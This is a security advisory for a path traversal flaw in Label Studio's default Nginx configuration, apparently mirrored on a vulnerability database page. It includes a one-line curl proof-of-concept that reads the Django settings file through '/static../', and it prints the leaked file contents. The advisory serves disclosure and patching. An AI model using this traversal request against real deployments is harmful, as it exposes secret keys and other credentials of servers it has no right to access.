GHSA-CPMR-MW4J-99R7
Vulnerability from github – Published: 2023-03-24 22:04 – Updated: 2026-09-02 22:04Summary
The vulnerability resides on the Nginx config file: https://github.com/heartexlabs/label-studio/blob/53944e6bcede75ca5c102d655013f2e5238e85e6/deploy/default.conf#L119
The pattern on location /static indicates a popular misconfiguration on Nginx servers presented in 2018 originally by Orange Tsai. This vulnerability allows an attacker to use a single path traversal payload in the matched location to traverse one directory above. This vulnerability only happens due to the location /static directive not having a slash / at the end, the following code shows an example of a safe configuration:
location /static/ {
[...]
The vulnerability works because Nginx will think that /static../ is a directory that should also be aliased to the folder, allowing /static/../ to be reached. In Label Studio's case, this means all files on /label_studio/core/ are exposed.
Of course, this means that only Label Studio instances that were deployed using the default nginx files introducted at Mar 31, 2021. This is a very easy vulnerability to fix, and just a lesser-known configuration mistake on nginx files. It's very easy to happen because all is needed is for one slash to be missing. (Off-By-One)
** Proof-of-Concept (Leaking Secret Keys): ** Exploiting this vulnerability usually depends on what's on the parent folder, in Label Studio's case the most interesting file I could find that's on there by default is /label_studio/core/ . We can fetch it by simply making a request to the traversed folder.
# Production Label Studio docker-compose running on localhost:8080
/t/mydata [127]$ curl localhost:8080/static../settings/label_studio.py
"""This file and its contents are licensed under the Apache License 2.0. Please see the included NOTICE for copyright information and LICENSE for a copy of the license.
"""
import os
import pathlib
from core.settings.base import *
DJANGO_DB = get_env('DJANGO_DB', DJANGO_DB_SQLITE)
DATABASES = {'default': DATABASES_ALL[DJANGO_DB]}
MIDDLEWARE.append('organizations.middleware.DummyGetSessionMiddleware')
MIDDLEWARE.append('core.middleware.UpdateLastActivityMiddleware')
if INACTIVITY_SESSION_TIMEOUT_ENABLED:
MIDDLEWARE.append('core.middleware.InactivitySessionTimeoutMiddleWare')
ADD_DEFAULT_ML_BACKENDS = False
LOGGING['root']['level'] = get_env('LOG_LEVEL', 'WARNING')
DEBUG = get_bool_env('DEBUG', False)
DEBUG_PROPAGATE_EXCEPTIONS = get_bool_env('DEBUG_PROPAGATE_EXCEPTIONS', False)
SESSION_COOKIE_SECURE = False
SESSION_ENGINE = "django.contrib.sessions.backends.signed_cookies"
RQ_QUEUES = {}
SENTRY_DSN = get_env(
'SENTRY_DSN',
'https://68b045ab408a4d32a910d339be8591a4@o227124.ingest.sentry.io/5820521'
)
SENTRY_ENVIRONMENT = get_env('SENTRY_ENVIRONMENT', 'opensource')
FRONTEND_SENTRY_DSN = get_env(
'FRONTEND_SENTRY_DSN',
'https://5f51920ff82a4675a495870244869c6b@o227124.ingest.sentry.io/5838868')
FRONTEND_SENTRY_ENVIRONMENT = get_env('FRONTEND_SENTRY_ENVIRONMENT', 'opensource')
EDITOR_KEYMAP = json.dumps(get_env("EDITOR_KEYMAP"))
from label_studio import __version__
from label_studio.core.utils import sentry
sentry.init_sentry(release_name='label-studio', release_version=__version__)
# we should do it after sentry init
from label_studio.core.utils.common import collect_versions
versions = collect_versions()
# in Label Studio Community version, feature flags are always ON
FEATURE_FLAGS_DEFAULT_VALUE = True
# or if file is not set, default is using offline mode
FEATURE_FLAGS_OFFLINE = get_bool_env('FEATURE_FLAGS_OFFLINE', True)
from core.utils.io import find_file
FEATURE_FLAGS_FILE = get_env('FEATURE_FLAGS_FILE', 'feature_flags.json')
FEATURE_FLAGS_FROM_FILE = True
try:
from core.utils.io import find_node
find_node('label_studio', FEATURE_FLAGS_FILE, 'file')
except IOError:
FEATURE_FLAGS_FROM_FILE = False
STORAGE_PERSISTENCE = get_bool_env('STORAGE_PERSISTENCE', True)
Impact
The impact consists on leaking Django secret keys by default, with also greater risk being possible due to the vulnerability exposing the file located at /label_studio/core/settings/label_studio.py which contains the secret key for Django as well as possibly containing other secrets the user might put there. (If the administrator decides not to use environment variables for some variables)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.1"
},
"package": {
"ecosystem": "PyPI",
"name": "label-studio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-24T22:04:02Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe vulnerability resides on the Nginx config file:\nhttps://github.com/heartexlabs/label-studio/blob/53944e6bcede75ca5c102d655013f2e5238e85e6/deploy/default.conf#L119\n\nThe pattern on location /static indicates a popular misconfiguration on Nginx servers presented in 2018 originally by Orange Tsai. This vulnerability allows an attacker to use a single path traversal payload in the matched location to traverse one directory above. This vulnerability only happens due to the location /static directive not having a slash `/` at the end, the following code shows an example of a safe configuration:\n```nginx\nlocation /static/ {\n[...]\n```\nThe vulnerability works because Nginx will think that `/static../` is a directory that should also be aliased to the folder, allowing /static/../ to be reached. In Label Studio\u0027s case, this means all files on /label_studio/core/ are exposed.\n\nOf course, this means that only Label Studio instances that were deployed using the default nginx files introducted at Mar 31, 2021.\nThis is a very easy vulnerability to fix, and just a lesser-known configuration mistake on nginx files. It\u0027s very easy to happen because all is needed is for one slash to be missing. (Off-By-One)\n\n** Proof-of-Concept (Leaking Secret Keys): **\nExploiting this vulnerability usually depends on what\u0027s on the parent folder, in Label Studio\u0027s case the most interesting file I could find that\u0027s on there by default is /label_studio/core/ . We can fetch it by simply making a request to the traversed folder.\n```bash\n# Production Label Studio docker-compose running on localhost:8080\n/t/mydata [127]$ curl localhost:8080/static../settings/label_studio.py\n\"\"\"This file and its contents are licensed under the Apache License 2.0. Please see the included NOTICE for copyright information and LICENSE for a copy of the license.\n\"\"\"\nimport os\nimport pathlib\n\nfrom core.settings.base import *\n\nDJANGO_DB = get_env(\u0027DJANGO_DB\u0027, DJANGO_DB_SQLITE)\nDATABASES = {\u0027default\u0027: DATABASES_ALL[DJANGO_DB]}\n\nMIDDLEWARE.append(\u0027organizations.middleware.DummyGetSessionMiddleware\u0027)\nMIDDLEWARE.append(\u0027core.middleware.UpdateLastActivityMiddleware\u0027)\nif INACTIVITY_SESSION_TIMEOUT_ENABLED:\n MIDDLEWARE.append(\u0027core.middleware.InactivitySessionTimeoutMiddleWare\u0027)\n\nADD_DEFAULT_ML_BACKENDS = False\n\nLOGGING[\u0027root\u0027][\u0027level\u0027] = get_env(\u0027LOG_LEVEL\u0027, \u0027WARNING\u0027)\n\nDEBUG = get_bool_env(\u0027DEBUG\u0027, False)\n\nDEBUG_PROPAGATE_EXCEPTIONS = get_bool_env(\u0027DEBUG_PROPAGATE_EXCEPTIONS\u0027, False)\n\nSESSION_COOKIE_SECURE = False\n\nSESSION_ENGINE = \"django.contrib.sessions.backends.signed_cookies\"\n\nRQ_QUEUES = {}\n\nSENTRY_DSN = get_env(\n \u0027SENTRY_DSN\u0027,\n \u0027https://68b045ab408a4d32a910d339be8591a4@o227124.ingest.sentry.io/5820521\u0027\n)\nSENTRY_ENVIRONMENT = get_env(\u0027SENTRY_ENVIRONMENT\u0027, \u0027opensource\u0027)\n\nFRONTEND_SENTRY_DSN = get_env(\n \u0027FRONTEND_SENTRY_DSN\u0027,\n \u0027https://5f51920ff82a4675a495870244869c6b@o227124.ingest.sentry.io/5838868\u0027)\nFRONTEND_SENTRY_ENVIRONMENT = get_env(\u0027FRONTEND_SENTRY_ENVIRONMENT\u0027, \u0027opensource\u0027)\n\nEDITOR_KEYMAP = json.dumps(get_env(\"EDITOR_KEYMAP\"))\n\nfrom label_studio import __version__\nfrom label_studio.core.utils import sentry\nsentry.init_sentry(release_name=\u0027label-studio\u0027, release_version=__version__)\n\n# we should do it after sentry init\nfrom label_studio.core.utils.common import collect_versions\nversions = collect_versions()\n\n# in Label Studio Community version, feature flags are always ON\nFEATURE_FLAGS_DEFAULT_VALUE = True\n# or if file is not set, default is using offline mode\nFEATURE_FLAGS_OFFLINE = get_bool_env(\u0027FEATURE_FLAGS_OFFLINE\u0027, True)\n\nfrom core.utils.io import find_file\nFEATURE_FLAGS_FILE = get_env(\u0027FEATURE_FLAGS_FILE\u0027, \u0027feature_flags.json\u0027)\nFEATURE_FLAGS_FROM_FILE = True\ntry:\n from core.utils.io import find_node\n find_node(\u0027label_studio\u0027, FEATURE_FLAGS_FILE, \u0027file\u0027)\nexcept IOError:\n FEATURE_FLAGS_FROM_FILE = False\n\nSTORAGE_PERSISTENCE = get_bool_env(\u0027STORAGE_PERSISTENCE\u0027, True)\n```\n\n\n### Impact\nThe impact consists on leaking Django secret keys by default, with also greater risk being possible due to the vulnerability exposing the file located at /label_studio/core/settings/label_studio.py which contains the secret key for Django as well as possibly containing other secrets the user might put there. (If the administrator decides not to use environment variables for some variables)",
"id": "GHSA-cpmr-mw4j-99r7",
"modified": "2026-09-02T22:04:05Z",
"published": "2023-03-24T22:04:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/heartexlabs/label-studio/security/advisories/GHSA-cpmr-mw4j-99r7"
},
{
"type": "WEB",
"url": "https://github.com/HumanSignal/label-studio/commit/60a3ef57a22c50d7230a56c11d85e14454c99a28"
},
{
"type": "PACKAGE",
"url": "https://github.com/heartexlabs/label-studio"
},
{
"type": "WEB",
"url": "https://github.com/heartexlabs/label-studio/blob/53944e6bcede75ca5c102d655013f2e5238e85e6/deploy/default.conf#L119"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nginx alias path traversal allows unauthenticated attackers to read all files on /label_studio/core/"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.